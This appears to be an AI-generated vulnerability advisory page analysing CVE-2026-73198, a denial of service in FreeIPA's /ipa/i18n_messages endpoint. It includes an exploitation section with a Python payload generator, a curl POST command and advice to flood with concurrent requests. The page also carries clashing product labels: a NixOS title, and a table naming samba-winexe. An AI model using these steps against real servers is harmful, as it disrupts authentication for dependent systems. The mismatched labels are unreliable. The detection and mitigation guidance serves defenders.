CVE-2026-73198
NixOS 취약성 분석 및 완화

개요

CVE-2026-73198 is a denial-of-service vulnerability in FreeIPA's /ipa/i18n_messages endpoint that allows a remote, unauthenticated attacker to exhaust server memory by sending arbitrarily large HTTP request bodies. The flaw affects FreeIPA versions prior to 4.13.3 and Red Hat Enterprise Linux versions 6.0 through 10.0 shipping the ipa package. It was reported on May 11, 2026, publicly disclosed on August 20, 2026, and assigned a CVSS v3.1 base score of 7.5 (High) (Red Hat Advisory, GitHub Advisory). The vulnerability was discovered by AISLE Research in partnership with Red Hat (Red Hat Advisory).

기술적 세부 사항

The root cause is CWE-770 (Allocation of Resources Without Limits or Throttling) in FreeIPA's ipaserver/rpcserver.py. The read_input() function reads the full request body based on the attacker-supplied CONTENT_LENGTH header without imposing any size cap, and the jsonserver_i18n_messages._call_() method performs this unbounded read before validating the RPC method name — meaning even invalid requests trigger full memory allocation (Red Hat Bugzilla). The shipped Apache configuration grants unauthenticated access to /ipa/i18n_messages with Require all granted, and no LimitRequestBody directive is set by default. When a valid i18n_messages method name is supplied, the body is additionally re-encoded into a BytesIO object, potentially doubling the in-memory footprint (Red Hat Bugzilla).

영향

Successful exploitation causes memory exhaustion in the Apache/mod_wsgi process hosting FreeIPA, leading to degraded responsiveness, worker churn, and potential out-of-memory (OOM) conditions under sustained concurrent load. The impact is limited to availability — there is no evidence of confidentiality or integrity compromise, and no code execution or privilege escalation is possible through this vulnerability (Red Hat Advisory, Red Hat Bugzilla). Because FreeIPA provides centralized identity, authentication, and policy services (LDAP, Kerberos, DNS), a successful DoS can disrupt authentication for all systems relying on the affected IPA server.

악용 가능성

No public exploit code or exploit kit has been identified, and there is no evidence of in-the-wild exploitation as of the disclosure date. The attack is fully automatable — it requires only network reachability to the /ipa/i18n_messages endpoint and the ability to send large POST bodies, with no authentication or user interaction needed (Red Hat Bugzilla). The EPSS score is approximately 0.35%, placing it in the 26th percentile for exploitation likelihood within 30 days (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation impact is reduced if Apache, mod_wsgi, or an upstream proxy already enforces a strict request-body limit.

착취 단계

  1. Reconnaissance: Identify internet-facing or network-accessible FreeIPA servers running versions prior to 4.13.3. The /ipa/i18n_messages endpoint is typically exposed over HTTPS (port 443) and accessible without authentication by default.
  2. Craft oversized payload: Generate a large JSON request body targeting the endpoint. For example, create a 64 MiB payload:
python3 - <<'PY'
import json
s = "A" * (64 * 1024 * 1024)
obj = {"method": s, "params":[[], {"version":"2.0"}], "id": 1}
open("/tmp/ipa-big.json", "w").write(json.dumps(obj))
PY
  1. Send unauthenticated POST request: Transmit the oversized body to the vulnerable endpoint:
curl -k -sS -o /dev/null -X POST \
  -H 'Content-Type: application/json' \
  --data-binary @/tmp/ipa-big.json \
  https://<IPA_SERVER>/ipa/i18n_messages
  1. Amplify with concurrent requests: Repeat the request with 10–50 concurrent workers (e.g., using parallel, xargs, or a scripted loop) to maximize memory pressure on the httpd/mod_wsgi process.
  2. Observe impact: Monitor the server with ps, top, or smem to observe memory growth, worker restarts, slow responses, and potential OOM conditions causing service unavailability (Red Hat Bugzilla).

타협의 징후

  • Network: Unusually large HTTP POST requests (tens of megabytes or more) to /ipa/i18n_messages; high volume of concurrent POST requests to this endpoint from one or more source IPs.
  • Logs: Apache access logs (/var/log/httpd/access_log) showing repeated large POST requests to /ipa/i18n_messages with high Content-Length values; mod_wsgi or httpd error logs showing worker restarts or OOM-related errors.
  • Process: Rapid growth in RSS/VSZ memory of httpd or mod_wsgi worker processes; frequent worker process restarts visible in ps output or systemd journal for httpd.service.
  • System: OOM killer events in /var/log/messages or dmesg output referencing httpd processes; elevated swap usage or system-wide memory pressure coinciding with requests to the IPA endpoint (Red Hat Bugzilla).

완화 및 해결 방법

A code-level fix is targeted for FreeIPA 4.13.3, which will add a hard request-body cap in read_input() and return HTTP 413 when the body exceeds the limit (Red Hat Advisory). Until a patched package is available, Red Hat recommends adding a LimitRequestBody directive to the Apache configuration for the IPA endpoint — for example, LimitRequestBody 1048576 (1 MB) within the relevant <Location /ipa/i18n_messages> or <Location /ipa/*> block — followed by a restart of the httpd service (Red Hat Advisory). If a reverse proxy or load balancer sits in front of FreeIPA, an equivalent body-size limit should also be enforced there. Organizations should prioritize patching or applying the Apache workaround on any IPA server reachable from untrusted networks.

커뮤니티 반응

The vulnerability was noted on Mastodon via TheHackerWire shortly after disclosure, and was indexed by multiple vulnerability tracking platforms including VulDB, Vulners, and CVEFeed within hours of publication (Red Hat Advisory). A German-language security news outlet (pro-linux.de) covered the issue as part of a broader FreeIPA security roundup. No significant vendor statements beyond Red Hat's advisory or notable researcher commentary have been identified at this time.

추가 자료


근원이 보고서는 AI를 사용하여 생성되었습니다.

관련 NixOS 취약점:

CVE ID

심각도

점수

기술

구성 요소 이름

CISA KEV 익스플로잇

수정 사항이 있습니다.

게시된 날짜

CVE-2026-13097HIGH8.7
  • NixOS logoNixOS
  • python3-ldb-debuginfo
아니요Aug 20, 2026
CVE-2026-73198HIGH7.5
  • NixOS logoNixOS
  • samba-winexe
아니요Aug 20, 2026
CVE-2026-73197HIGH7.5
  • NixOS logoNixOS
  • python3-samba-debuginfo
아니요Aug 20, 2026
CVE-2026-73196MEDIUM6.5
  • NixOS logoNixOS
  • samba-ndr-libs-debuginfo
아니요Aug 20, 2026
CVE-2026-64777MEDIUM4.3
  • NixOS logoNixOS
  • container
아니요Aug 20, 2026

무료 취약성 평가

클라우드 보안 태세를 벤치마킹합니다

9개의 보안 도메인에서 클라우드 보안 관행을 평가하여 위험 수준을 벤치마킹하고 방어의 허점을 식별합니다.

평가 요청

추가 Wiz 리소스

맞춤형 데모 받기

맞춤형 데모 신청하기

"내가 본 최고의 사용자 경험은 클라우드 워크로드에 대한 완전한 가시성을 제공합니다."
데이비드 에슬릭최고정보책임자(CISO)
"Wiz는 클라우드 환경에서 무슨 일이 일어나고 있는지 볼 수 있는 단일 창을 제공합니다."
아담 플레처최고 보안 책임자(CSO)
"우리는 Wiz가 무언가를 중요한 것으로 식별하면 실제로 중요하다는 것을 알고 있습니다."
그렉 포니아토프스키위협 및 취약성 관리 책임자